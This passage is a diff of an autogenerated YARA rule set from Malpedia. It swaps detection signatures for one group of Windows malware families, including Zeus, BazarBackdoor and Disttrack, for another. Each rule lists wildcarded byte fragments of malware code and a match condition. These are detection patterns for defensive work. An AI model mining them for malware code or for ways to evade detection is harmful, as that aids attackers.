-		$sequence_4 = { 83c408 c644246834 8b00 8d4c2420 51 8bc8 e8???????? }
-		$sequence_5 = { 8b442410 56 e8???????? 85f6 7409 }
-		$sequence_6 = { c645fc41 8bc4 89a54cffffff 50 b9???????? e8???????? 8dbd54ffffff }
-		$sequence_7 = { ffd5 8b06 3b78f8 7f0f 8978f4 8b0e c6040f00 }
-		$sequence_8 = { 8b4c2410 51 ffd7 85c0 744c 8b44241c 50 }
-		$sequence_9 = { 3c09 0fb6c0 7605 83c037 eb03 83c030 8806 }
+		$sequence_0 = { b8???????? 50 6a00 50 e8???????? 8b4518 8945e4 }
+		$sequence_1 = { 68f5a40f7d 6a0d 6a00 e8???????? 68da6772c2 6a0d 6a00 }
+		$sequence_2 = { ff75fc 56 ff15???????? 8bf0 8d45f8 50 e8???????? }
+		$sequence_3 = { 0f848d000000 6683f832 0f8483000000 6683f821 0f8548010000 57 8d8588fdffff }
+		$sequence_4 = { 7407 50 e8???????? 59 ff45f4 8b45f4 3b45f0 }
+		$sequence_5 = { 668945f6 58 6a72 668945f8 58 6a5c 668945fa }
+		$sequence_6 = { ff7658 e8???????? 83c418 83665800 5e 5d c3 }
+		$sequence_7 = { 59 59 85f6 7419 ff7510 56 6a04 }
+		$sequence_8 = { 6800000040 ff7508 ffd0 8bf8 83ffff 7504 33c0 }
+		$sequence_9 = { c645f867 c645f96c c645fa57 c645fb6e c645fc64 885dfd 895dc8 }
 
 	condition:
-		7 of them and filesize <344064
+		7 of them and filesize <491520
 }
-rule MALPEDIA_Win_Alpc_Lpe_Auto : FILE
+rule MALPEDIA_Win_Zeus_Openssl_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1d3d4f14-881f-5a73-b345-a76e12b3dfd0"
+		id = "8c3065fc-d922-5a5a-97bb-f5578c899954"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alpc_lpe_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_openssl"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeus_openssl_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "21b1493d78b90781647fb0ea2e97a709ccc21e177ddf748dd3e2118819bbc37e"
+		logic_hash = "87e8b70576343bf43fa1d91175bc18c4648aa0bc5e7b7de2b8eae5131a311e26"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150569,34 +157723,34 @@ rule MALPEDIA_Win_Alpc_Lpe_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ba31000000 4c8d05b3a10000 448bcb 482bd6 e8???????? 4883c603 881f }
-		$sequence_1 = { 4533c0 48c7c102000080 4889442420 ff15???????? ff15???????? 488b4c2448 }
-		$sequence_2 = { 57 4881ec58010000 488d6c2420 488bfc b956000000 }
-		$sequence_3 = { 488b8d00010000 e8???????? 488b8dd8000000 488bd1 488bc8 e8???????? }
-		$sequence_4 = { e8???????? 488d0da1af0000 e8???????? 488d0d85af0000 }
-		$sequence_5 = { 488bc8 e8???????? 488b5508 488b8d00010000 }
-		$sequence_6 = { e8???????? 488d0dc1ad0000 e8???????? 488d0da5ad0000 }
-		$sequence_7 = { 488d6c2430 488bfc b98a000000 b8cccccccc f3ab 488b8c2448020000 488b05???????? }
-		$sequence_8 = { 488d1deb7e0000 4184c0 7539 410bc0 488d542458 488d0ddfd30000 8905???????? }
-		$sequence_9 = { 488b4c2438 488d442430 4889442428 4c8d4c2434 488d442440 4533c0 488d1548830000 }
+		$sequence_0 = { c1e205 2bd1 8bce c7460471000000 }
+		$sequence_1 = { eb04 807dfd05 7607 814a1800100100 8a4dfe }
+		$sequence_2 = { 8b45f4 8b4850 8b45d0 23c2 894dcc 8b0481 8bc8 }
+		$sequence_3 = { 895df0 0fb6de 0145f8 0fb745d2 0fb6ca 03cb bf01000000 }
+		$sequence_4 = { 48 7526 804dff04 884a01 eb19 804dff02 884a01 }
+		$sequence_5 = { 894a04 83c620 83c120 81fee00f0000 }
+		$sequence_6 = { 83c608 03d0 895dfc 8955f8 897df0 3b75cc 72dc }
+		$sequence_7 = { 8b8d7cffffff 830204 5e c70101000000 33c0 5b }
+		$sequence_8 = { 898bc41b0000 8b5dfc 2bf1 8b7df4 8bc8 c1e908 0fb6c9 }
+		$sequence_9 = { d1e8 83fe1f 7eeb 6683bfb800000000 7537 6683bfbc00000000 752d }
 
 	condition:
-		7 of them and filesize <540672
+		7 of them and filesize <4546560
 }
-rule MALPEDIA_Win_Disttrack_Auto : FILE
+rule MALPEDIA_Win_Bazarbackdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2e51f756-65a0-5587-a62f-f2956dec5749"
+		id = "5d2ecc0c-54dd-5654-9202-132113260f24"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.disttrack_auto.yar#L1-L264"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bazarbackdoor_auto.yar#L1-L638"
 		license_url = "N/A"
-		logic_hash = "ea5b03edf12e9b7619694e3ef0c115e1438e4209a3ddaae7b74afa494e3c57a2"
+		logic_hash = "bfaa99dbae5ad02f0954740ed30f16e2a148a8070db46fd5f787ce6fb0204c77"
 		score = 75
-		quality = 73
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -150608,51 +157762,102 @@ rule MALPEDIA_Win_Disttrack_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 52 6a00 6a00 6848000700 }
-		$sequence_1 = { ff15???????? 5d 5b 8bc7 5f 5e }
-		$sequence_2 = { 68???????? ff15???????? 8d45dc 50 ff15???????? 8b4ddc }
-		$sequence_3 = { e8???????? 6a07 e8???????? 59 c3 6a10 }
-		$sequence_4 = { e8???????? 83c404 50 e8???????? 83c404 68???????? ff15???????? }
-		$sequence_5 = { 488bc8 e8???????? ebd1 498b94dca0940100 }
-		$sequence_6 = { 41bd08000000 4180fdfe 760d 488d0d392e0100 e8???????? }
-		$sequence_7 = { 7442 488d157a840000 488bcf e8???????? 85c0 7525 }
-		$sequence_8 = { 895c2440 895c2444 899c24d8000000 899c24b0000000 899c24b8000000 }
-		$sequence_9 = { 884c30ff 3bf3 72e6 8b75ec 6a00 }
-		$sequence_10 = { c3 8b04cd44ec4200 5d c3 0544ffffff }
-		$sequence_11 = { 57 4883ec20 488d0dc74a0100 e8???????? 48833d????????00 7510 488d0db14a0100 }
-		$sequence_12 = { 0fb7da 6683fa30 0f862b010000 8b44241c 33c9 66894c4422 66895c4420 }
-		$sequence_13 = { 885df3 8b4104 80781900 8bf9 7514 38580c }
-		$sequence_14 = { c7450800000000 e8???????? 68???????? 8d4df4 51 c745f46c924100 }
-		$sequence_15 = { e8???????? 03f0 56 e8???????? 83c404 c745fc00000000 }
-		$sequence_16 = { 51 ff15???????? 8b55d4 8955e4 8b45d8 }
-		$sequence_17 = { 8bc1 eb0c 0fb6c9 0fbe8968004200 }
-		$sequence_18 = { 8b4004 80781900 74ee 80791900 7505 8bc8 }
-		$sequence_19 = { 4533c0 498bd4 33c9 c744242800000008 895c2420 ff15???????? 85c0 }
-		$sequence_20 = { 75f9 2bc2 56 57 8d7801 }
-		$sequence_21 = { be01000000 4883630800 488d05cf450100 488903 488d4c2428 }
-		$sequence_22 = { 48634804 488d05b0270100 48894419e8 4883c430 }
-		$sequence_23 = { 52 50 68???????? ff15???????? 8d34f5b0044200 89442420 33ff }
-		$sequence_24 = { 7d13 4863ca 8a44191c 42888401602a0200 ffc2 ebe1 }
-		$sequence_25 = { 8d842498030000 64a300000000 8b4508 33db 89442430 }
-		$sequence_26 = { 3bc3 0f8476010000 68???????? 68???????? }
+		$sequence_0 = { 488bce 4889442420 ff15???????? 85c0 780a }
+		$sequence_1 = { 488bce ffd0 eb03 488bc3 }
+		$sequence_2 = { b803000000 e9???????? 488b5568 4c8d85f0040000 488b4c2450 bb08000000 }
+		$sequence_3 = { e9???????? 488b4c2458 488d55e0 ff15???????? }
+		$sequence_4 = { 4533c0 c744242002000000 ba00000040 ffd0 }
+		$sequence_5 = { 0fb70f ff15???????? 0fb74f02 0fb7d8 ff15???????? }
+		$sequence_6 = { 488d4d80 e8???????? 498bd6 488d4d80 }
+		$sequence_7 = { 7507 33c0 e9???????? b8ff000000 }
+		$sequence_8 = { 0fb7d8 ff15???????? 0fb74f08 440fb7e8 }
+		$sequence_9 = { 4885c9 7406 488b11 ff5210 ff15???????? }
+		$sequence_10 = { e8???????? cc e8???????? cc 4053 4883ec20 b902000000 }
+		$sequence_11 = { c3 0fb74c0818 b80b010000 663bc8 }
+		$sequence_12 = { e8???????? 4c89e1 e8???????? 8b05???????? }
+		$sequence_13 = { 4533c9 4889442428 488d95a0070000 488d442470 41b80f100000 }
+		$sequence_14 = { 0fb6c9 4881e9c0000000 48c1e108 4803c8 8bc1 488d94059f070000 }
+		$sequence_15 = { 31ff 4889c1 31d2 4989f0 }
+		$sequence_16 = { 4889f1 e8???????? 8b05???????? 8b0d???????? }
+		$sequence_17 = { 4c89742440 4c89742438 4489742430 4c89742428 }
+		$sequence_18 = { ff15???????? 4889c1 31d2 4d89e0 }
+		$sequence_19 = { 418d5508 488bc8 ff15???????? 488bd8 }
+		$sequence_20 = { e8???????? 4889c7 8b05???????? 8b0d???????? }
+		$sequence_21 = { 488d9590050000 488bce ff15???????? 85c0 }
+		$sequence_22 = { 488d442470 41b80f100000 488bce 4889442420 }
+		$sequence_23 = { ff15???????? ff15???????? 4d8bc5 33d2 488bc8 }
+		$sequence_24 = { 0fafc8 89c8 83f0fe 85c8 0f95c0 0f94c3 }
+		$sequence_25 = { c744242003000000 4889f9 ba00000080 41b801000000 }
+		$sequence_26 = { c744242800000001 4533c9 4533c0 c744242002000000 ba1f000f00 }
+		$sequence_27 = { 83fe09 0f9fc2 83fe0a 0f9cc1 }
+		$sequence_28 = { 4889442428 488d95b0030000 488d4580 41b80f100000 }
+		$sequence_29 = { 4d8bc7 33d2 488bc8 ff15???????? ff15???????? }
+		$sequence_30 = { 08ca 80f201 7502 ebfe }
+		$sequence_31 = { 48c744243000000000 c744242880000000 c744242003000000 4889f9 }
+		$sequence_32 = { 0f94c3 83f809 0f9fc2 83f80a 0f9cc0 30d8 }
+		$sequence_33 = { 0fb65305 33c0 80f973 0f94c0 }
+		$sequence_34 = { 0f9fc1 83fa0a 0f9cc2 30da 08c1 80f101 08d1 }
+		$sequence_35 = { 7528 0fb64b04 0fb6d1 80f973 }
+		$sequence_36 = { 4889c1 31d2 4989f8 ff15???????? 4885c0 }
+		$sequence_37 = { ff15???????? 31ed 4889c1 31d2 4989d8 }
+		$sequence_38 = { 488bd3 e8???????? ff15???????? 4c8bc3 33d2 }
+		$sequence_39 = { 0fb6d1 80f973 7504 0fb65305 }
+		$sequence_40 = { 08c1 80f101 7502 ebfe }
+		$sequence_41 = { e8???????? 4889f9 4889f2 ffd0 }
+		$sequence_42 = { 0f9cc2 30da 7509 08c1 }
+		$sequence_43 = { 85da 0f94c3 83fd0a 0f9cc2 }
+		$sequence_44 = { 84d2 7405 80fa2e 750f }
+		$sequence_45 = { 4889c1 31d2 4d89e8 ff15???????? }
+		$sequence_46 = { 4889c1 31d2 4d89f8 ffd3 }
+		$sequence_47 = { e8???????? 4c897c2420 4889d9 89fa }
+		$sequence_48 = { 89f0 4883c450 5b 5f }
+		$sequence_49 = { 8d4833 ff15???????? c744242810000000 4533c9 }
+		$sequence_50 = { 6a00 56 ff15???????? 5f 5e 5d 8bc3 }
+		$sequence_51 = { 689c7d9d93 6a04 5a e8???????? 59 59 85c0 }
+		$sequence_52 = { 8d44244c 50 6a00 ff74243c 53 55 ff15???????? }
+		$sequence_53 = { 6685ff 0f849c000000 837c2460ff 0f858c000000 }
+		$sequence_54 = { 50 0fb745e8 50 68???????? e8???????? }
+		$sequence_55 = { 66890d???????? 0fb7ca ff15???????? b901000000 66c746020100 668906 }
+		$sequence_56 = { 7506 8b0e 894c2460 0fb7c0 }
+		$sequence_57 = { 8a842483030000 81fe80000000 760b 24f2 0c02 }
+		$sequence_58 = { 57 8d4101 6a0e 8bf0 5f 8a11 }
+		$sequence_59 = { 7406 6a35 ffd0 eb02 33c0 }
+		$sequence_60 = { ffd6 8d7001 56 6a08 ff15???????? 50 }
+		$sequence_61 = { 740d 33d2 83f902 0f95c2 83c224 }
+		$sequence_62 = { 0f95c2 83c224 eb05 ba29000000 }
+		$sequence_63 = { 660f73d801 660febd0 660f7ed0 84c0 }
+		$sequence_64 = { 750b 8ac1 2ac2 fec8 88041a }
+		$sequence_65 = { 8d4701 84c9 0f45c7 803a00 8bf8 }
+		$sequence_66 = { 6a00 6a00 50 8d4601 }
+		$sequence_67 = { c1f808 0fb6c0 50 0fb6c2 }
+		$sequence_68 = { 83c410 b800308804 6a00 50 }
+		$sequence_69 = { 81feff030000 733c 8a02 3cc0 721e 0fb6c8 }
+		$sequence_70 = { 89542410 48894c2408 4883ec48 8b442458 89442424 48c744242800000000 }
+		$sequence_71 = { 488b442430 488b8c2410010000 48894830 488b442430 488b8c2418010000 48894838 488b442430 }
+		$sequence_72 = { 488bca 448bc0 488bd1 488b4c2430 e8???????? 488b442428 }
+		$sequence_73 = { ff15???????? 33c0 eb47 488b442430 8b4014 }
+		$sequence_74 = { 4825ffff0000 488b8c2488000000 4c8b4140 488bd0 }
+		$sequence_75 = { 488b442430 48c7404800000000 488b442430 eb14 }
+		$sequence_76 = { eb1f 488b442430 8b4024 2580000000 }
+		$sequence_77 = { 488b442458 488b00 b908000000 486bc909 488d840888000000 4889442428 488b442428 }
 
 	condition:
-		7 of them and filesize <1112064
+		7 of them and filesize <2088960
 }
-rule MALPEDIA_Win_Prikormka_Auto : FILE
+rule MALPEDIA_Win_Orpcbackdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "942667ef-c0ed-5e6f-acdd-388f6c8d0b49"
+		id = "605ecf11-b36e-51cd-8e37-c406fe5ee743"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.prikormka_auto.yar#L1-L426"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orpcbackdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.orpcbackdoor_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "7c65eb7008c5e728405addd601d63974803e3912597af2618d49b7f4b185b6c5"
+		logic_hash = "a975ab0f24495978f9e8b667b3f6b02066e8ac424646b3588e19f69238c5dbdd"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -150664,71 +157869,34 @@ rule MALPEDIA_Win_Prikormka_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d0446 50 e8???????? 83c40c 6a00 56 }
-		$sequence_1 = { 8d1446 52 e8???????? 83c40c }
-		$sequence_2 = { ffd3 8b2d???????? 85c0 7405 }
-		$sequence_3 = { 51 e8???????? 83c40c 68???????? ffd7 }
-		$sequence_4 = { 85f6 7420 68???????? ffd7 }
-		$sequence_5 = { ff15???????? 68???????? ffd7 03c0 50 }
-		$sequence_6 = { 8b1d???????? 83c40c 6a00 56 ffd3 8b2d???????? }
-		$sequence_7 = { 56 ffd3 85c0 7405 6a02 56 }
-		$sequence_8 = { 740e 68???????? 50 ff15???????? ffd0 }
-		$sequence_9 = { 68???????? 6a00 6a00 ff15???????? 85c0 7502 59 }
-		$sequence_10 = { 83c40c 8d442404 50 ff15???????? 5e }
-		$sequence_11 = { 7408 41 42 3bce }
-		$sequence_12 = { 85c0 7502 59 c3 50 ff15???????? b801000000 }
-		$sequence_13 = { c3 57 6a00 6a00 6a00 6a02 }
-		$sequence_14 = { 68???????? ff15???????? 0fb7c0 6683f805 }
-		$sequence_15 = { ff15???????? ffd0 c705????????01000000 c705????????01000000 }
-		$sequence_16 = { 5e 85c0 7422 68???????? 50 }
-		$sequence_17 = { 0fb7c0 6683f805 7d09 b801000000 }
-		$sequence_18 = { 5e 85c0 7414 c705????????01000000 }
-		$sequence_19 = { 33f6 e8???????? e8???????? e8???????? e8???????? e8???????? e8???????? }
-		$sequence_20 = { 50 e8???????? 8b2d???????? 83c40c 6a00 }
-		$sequence_21 = { ff15???????? 8bf0 ff15???????? 3db7000000 751f 56 }
-		$sequence_22 = { 83c102 6685d2 75f5 2bce 8d1400 52 d1f9 }
-		$sequence_23 = { 75f5 8b0d???????? 2bc2 8b15???????? d1f8 }
-		$sequence_24 = { 751f 56 ff15???????? 33c0 }
-		$sequence_25 = { 6685c9 75f5 2bc6 8d0c12 }
-		$sequence_26 = { 2bc6 8d0c12 51 d1f8 }
-		$sequence_27 = { 8b35???????? 83c40c 68???????? ffd6 03c0 }
-		$sequence_28 = { 50 e8???????? b8???????? 83c40c 8d5002 }
-		$sequence_29 = { 75f5 8d0c12 2bc6 51 d1f8 8d544408 }
-		$sequence_30 = { d1f8 8d7102 8da42400000000 668b11 83c102 }
-		$sequence_31 = { 85c0 7409 6a02 68???????? }
-		$sequence_32 = { 50 ff15???????? 0fb74c2416 0fb7542414 }
-		$sequence_33 = { d1f8 8bd0 b8???????? 8d7002 8da42400000000 668b08 83c002 }
-		$sequence_34 = { 6685c9 75f5 2bc2 b9???????? d1f8 8d7102 668b11 }
-		$sequence_35 = { ffd6 50 68???????? 57 ffd6 03c7 50 }
-		$sequence_36 = { 56 57 68???????? 33ff 57 57 ff15???????? }
-		$sequence_37 = { e8???????? 83c40c eb0d 6a00 6800020000 }
-		$sequence_38 = { d1f8 8d7102 668b11 83c102 6685d2 75f5 8d1400 }
-		$sequence_39 = { 6685d2 75f5 8d1400 2bce 52 d1f9 }
-		$sequence_40 = { 6a00 6800020000 ff15???????? 68???????? }
-		$sequence_41 = { e8???????? 83c40c 6a00 68???????? ffd3 85c0 7409 }
-		$sequence_42 = { 6a5c 99 5f f7ff 83f801 }
-		$sequence_43 = { 0f87f5090000 ff248505eb0010 33c0 838df4fbffffff 8985a0fbffff }
-		$sequence_44 = { 48 48 8975f4 7479 83e848 745f }
-		$sequence_45 = { 56 8bc3 2bc1 6a5c 99 }
-		$sequence_46 = { 32a832d232e0 32e6 3209 3310 3329 333d???????? 335f33 }
+		$sequence_0 = { 8b45fc 83e818 50 e8???????? 59 59 }
+		$sequence_1 = { 59 ffb5e4f6feff ffb568f5feff 8d8594f9ffff 50 e8???????? 83c40c }
+		$sequence_2 = { 6a0c 59 be???????? 8dbdc0faffff f3a5 66a5 a4 }
+		$sequence_3 = { 8b45c4 0fbe00 83f87f 7452 8b45c4 0fbe00 85c0 }
+		$sequence_4 = { 753e 8b45c8 40 40 3b4524 7734 8b4520 }
+		$sequence_5 = { 83a5b0fdffff00 8d85b0fdffff 50 6a02 8b85b4fdffff 8b00 ffb5b4fdffff }
+		$sequence_6 = { 8841fd eb0e a1???????? 0345f4 c640fd00 eb05 }
+		$sequence_7 = { 6a01 6a40 6a01 6a01 8d8da8fcfeff e8???????? 50 }
+		$sequence_8 = { 3c5a 7712 0fbec1 83e820 83e07f 8a044589700310 }
+		$sequence_9 = { 0fbe4001 83f858 7508 8b45c4 40 40 }
 
 	condition:
-		7 of them and filesize <401408
+		7 of them and filesize <918528
 }
-rule MALPEDIA_Win_Silence_Auto : FILE
+rule MALPEDIA_Win_Dorshel_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f44b3bc4-8edd-502b-bd51-3105b7335797"
+		id = "550d8628-f52a-56de-91a7-ece0c38b96fb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silence"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.silence_auto.yar#L1-L413"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dorshel_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "c771c849ed5f5e02e308e7f1e45bb9b0766da378108a761728400240a10fde1e"
+		logic_hash = "364203df24c6a83e17731caab6caa244bb9a531055fdc65fef6d763de8c4fb40"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -150740,69 +157908,32 @@ rule MALPEDIA_Win_Silence_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d45fc 50 6a00 6a00 68???????? c745fc00000000 }
-		$sequence_1 = { 740a 8a4801 40 84c9 75f4 eb05 803800 }
-		$sequence_2 = { 8b4908 e8???????? cc 8325????????00 c3 6a08 }
-		$sequence_3 = { 683f020f00 6a00 68???????? 6801000080 ff15???????? 68???????? }
-		$sequence_4 = { 3b0d???????? 7502 f3c3 e9???????? e8???????? e9???????? 6a14 }
-		$sequence_5 = { 68???????? ffd6 8b45fc 85c0 }
-		$sequence_6 = { ff15???????? 6a00 6800000004 6a00 }
-		$sequence_7 = { 46 56 8d85f8feffff 50 }
-		$sequence_8 = { 6801000080 ff15???????? 56 8d85f8feffff }
-		$sequence_9 = { 8bd8 68???????? 53 ff15???????? 6a00 }
-		$sequence_10 = { 8b35???????? 6a00 6a00 6a00 6a00 8d45fc 50 }
-		$sequence_11 = { 6a00 8bf8 6a00 57 ff15???????? 8d45fc 50 }
-		$sequence_12 = { 40 84c9 75f4 eb0d 803800 7408 }
-		$sequence_13 = { 803800 7408 8a5a01 42 84db }
-		$sequence_14 = { 5e 5b 5d c3 c60200 42 }
-		$sequence_15 = { 8d85b8f7ffff 50 6800080000 8d85bcf7ffff }
-		$sequence_16 = { 8b85b8f7ffff 85c0 75b6 ffb5acf7ffff }
-		$sequence_17 = { 83c41c 895ef8 897ef0 5b 5f }
-		$sequence_18 = { 8bf9 e8???????? ff37 8b35???????? }
-		$sequence_19 = { ff501c 8b17 8bcf ff5210 8b17 }
-		$sequence_20 = { 7412 8b01 52 8d95f0fdffff 52 ff10 }
-		$sequence_21 = { 8d8dfcfbffff 51 ffb5f0fbffff 8bcb ff5038 }
-		$sequence_22 = { 0346f4 57 ff7508 50 e8???????? 83c40c }
-		$sequence_23 = { 03d7 3b56f0 7611 8b46ec }
-		$sequence_24 = { 85c9 7408 8b06 51 8bce ff501c }
-		$sequence_25 = { d3e0 0fb6c8 8b05???????? d3e0 }
-		$sequence_26 = { ff15???????? ba180c0000 b940000000 ff15???????? }
-		$sequence_27 = { ff15???????? 488d542430 488d8c2440020000 ff15???????? }
-		$sequence_28 = { 8b05???????? d3e0 8b0d???????? 03c8 }
-		$sequence_29 = { e8???????? ba00040000 b940000000 ff15???????? }
-		$sequence_30 = { ff15???????? 41b804010000 488d542430 488d4c2430 ff15???????? 85c0 }
-		$sequence_31 = { d3f8 0fb60d???????? d3e0 85c0 }
-		$sequence_32 = { 99 83e203 03c2 c1f802 89442440 }
-		$sequence_33 = { ff15???????? c20800 53 8b1d???????? 57 0f57c0 }
-		$sequence_34 = { 5e 85c0 7507 68???????? ffd7 5f }
-		$sequence_35 = { 7507 68???????? ffd7 6a00 6a00 6a01 6a00 }
-		$sequence_36 = { 750e 68???????? ff15???????? c20800 }
-		$sequence_37 = { 8d0441 33d2 b905000000 f7f1 }
-		$sequence_38 = { c705????????00000000 c705????????00000000 ffd3 8b3d???????? 85c0 7507 }
-		$sequence_39 = { 68???????? ff15???????? a3???????? 85c0 750e 68???????? }
-		$sequence_40 = { 8bec ff4d08 755d 833d????????04 7554 }
-		$sequence_41 = { c705????????04000000 ff15???????? 85c0 750b 68???????? ff15???????? }
-		$sequence_42 = { ff15???????? 68c0d40100 ff15???????? e9???????? }
-		$sequence_43 = { 03048db0354200 50 ff15???????? 5d }
-		$sequence_44 = { 0305???????? 0b45f0 3305???????? a3???????? }
-		$sequence_45 = { 03048db0354200 eb02 8bc6 80782900 }
-		$sequence_46 = { 03048db0354200 eb05 b8???????? f6402820 }
+		$sequence_0 = { 55 8bec 83ec0c 31c0 648b5030 8b520c 8b5214 }
+		$sequence_1 = { 8d7708 8b3f 33fb f3a4 5f }
+		$sequence_2 = { 03f8 84c0 75f6 81ff5e515e83 7408 81ff36cadb30 75da }
+		$sequence_3 = { 83c004 e2f9 58 54 50 }
+		$sequence_4 = { 51 8b0f 33cb 51 ff55f8 8b5df4 }
+		$sequence_5 = { 54 50 8b4f04 33cb 51 8b0f }
+		$sequence_6 = { ffd5 85c0 74cd 8b07 01c3 }
+		$sequence_7 = { ac c1cf0d 03f8 84c0 75f6 81ff5e515e83 7408 }
+		$sequence_8 = { 57 6800200000 53 56 68129689e2 ffd5 85c0 }
+		$sequence_9 = { 5f 8b4704 33c3 83c104 99 }
 
 	condition:
-		7 of them and filesize <70128640
+		7 of them and filesize <24576
 }
-rule MALPEDIA_Win_Sysjoker_Auto : FILE
+rule MALPEDIA_Win_Clambling_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "42bbdbb2-321a-5c06-b4e0-64934ffdbef1"
+		id = "55c68f1e-9478-508c-963a-a6b0515c5aac"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysjoker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sysjoker_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clambling"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.clambling_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "272a60e5cac852c8fc52dd28ee7d3d45f227ab0f82269e4ab7d14e4de95e70fb"
+		logic_hash = "bda71815f9f64d048a93fa253b5199d20d6e6d47cb677b3884b8c43571e95a8e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150816,34 +157947,34 @@ rule MALPEDIA_Win_Sysjoker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 837de400 7416 }
-		$sequence_1 = { c746140f000000 c60600 e8???????? c7461060000000 8d4dd4 c746146f000000 0f1005???????? }
-		$sequence_2 = { ffd6 e9???????? 8bb5a8efffff 85f6 0f84ce000000 6808020000 8d85e8fdffff }
-		$sequence_3 = { 8d4dac e8???????? 8d4dc8 e8???????? 8d8d74ffffff c645fc1b e8???????? }
-		$sequence_4 = { 8bc2 b9ffffff7f 83c80f 3dffffff7f 0f47c1 894584 40 }
-		$sequence_5 = { 7cd5 33db 395d90 7650 0f1f4000 660f1f840000000000 83bd78ffffff10 }
-		$sequence_6 = { 6a02 68???????? e8???????? 8b8534efffff 83c618 8b8d4cefffff 40 }
-		$sequence_7 = { e8???????? 83c404 8b8780000000 33f6 89b534efffff }
-		$sequence_8 = { 6a01 8bce e8???????? 84c0 0f84c2feffff e9???????? 8b4778 }
-		$sequence_9 = { e8???????? 83c010 8906 51 c645fc25 8bf4 89b508fdffff }
+		$sequence_0 = { 6689bc24b0000000 ff15???????? 3bc7 7508 }
+		$sequence_1 = { 488bd9 498d53e8 418d4802 498943f0 ff15???????? }
+		$sequence_2 = { 751b e9???????? bb46270000 eb0f ff15???????? 8bd8 eb05 }
+		$sequence_3 = { 3bc3 751f 8b4c2428 488d942490020000 ff15???????? }
+		$sequence_4 = { eb0f ff15???????? 8bd8 eb05 bbc7040000 }
+		$sequence_5 = { 7507 66893d???????? 488b0d???????? 488d542430 ff15???????? 448b442430 }
+		$sequence_6 = { 7408 488bcb e8???????? 488b5c2458 }
+		$sequence_7 = { 4c8d442430 33d2 c744243001000000 c744243c02000000 ff15???????? 85c0 }
+		$sequence_8 = { b8b4050000 eb13 488b03 488bd7 488bcb }
+		$sequence_9 = { 41b805000000 48894c2420 33c9 8bd5 }
 
 	condition:
-		7 of them and filesize <832512
+		7 of them and filesize <412672
 }
-rule MALPEDIA_Win_Kleptoparasite_Stealer_Auto : FILE
+rule MALPEDIA_Win_Miniblindingcan_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d0389ad4-24e3-5ce2-885f-8e2d3c44dd15"
+		id = "92bc3e0e-6544-5def-8326-ac0c583fd403"
 		date = "2023-12-06"
 		modified = "2023-12-08"
